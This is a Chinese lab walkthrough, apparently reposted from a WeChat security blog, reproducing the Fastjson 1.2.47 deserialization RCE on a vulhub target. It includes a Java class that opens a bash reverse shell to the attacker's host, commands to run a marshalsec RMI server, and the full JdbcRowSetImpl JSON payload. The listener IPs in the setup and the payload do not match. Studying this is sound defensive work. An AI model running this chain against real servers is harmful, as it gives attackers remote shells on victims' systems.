环境搭建:
Fastjson靶机ip:192.168.21.10 (假设公网)
Kali开启rmi服务并nc监听ip :192.168.10.12(假设公网)
Win服务器开启http服务存放Exploit.class 文件ip:192.168.21.11 (假设公网)
使用docker和vulhub;
安装好后使用进入到/vulhub/fastjson/1.2.47-rce/中
使用sudo docker-compose up -d 启动环境
访问下本地的8090端口查看是否启动
出现这个说明成功启动fastjson环境了
然后先去攻击机编译一个恶意的java的class文件为之后做铺垫
新添加一个Exploit.java 文件
Exploit.java的内容为
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.21.12/5555 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
箭头那里修改自己的nc要监听的ip和端口
然后编译成class文件
命令:javac Exploit.java
生成了Exploit.class
(注意:javac版本最好与目标服务器接近,否则目标服务器可能无法解析class文件,会报错,建议vulhub搭建的话使用Java 1.8.0_101 版本去编译)
然后开一起一个http服务,可以访问class文件并可以下载就可以了
接着在自己的vps里开启rmi或者ldap服务
下载地址 https://github.com/mbechler/marshalsec
可以使用 git clone https://github.com/mbechler/marshalsec.git
也可以直接下载拖进去
下载好后然后解压sudo unzip marshalsec-master.zip
进入到这个目录里执行sudo mvn clean package -DskipTests 进行编译
编译好后会生成一个target文件,进入这个目录
需要使用到这个文件
然后使用
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.21.11/exp/#Exploit" 9999
开启RMI服务
然后开启nc监听
接下来然后这个页面进行抓包
然后将GET改为POST 然后添加1.2.47的payload
POST / HTTP/1.1
Host: 192.168.21.10:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 263
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.21.12:9999/Exploit",
"autoCommit":true
}
}
箭头指向的是kali 机器开启rmi的地址
然后rmi服务就会收到请求去加载Exploit.class
成功反弹到了nc上
本文始发于微信公众号(安全鸭):Fastjson 1.2.47 反序列化 复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论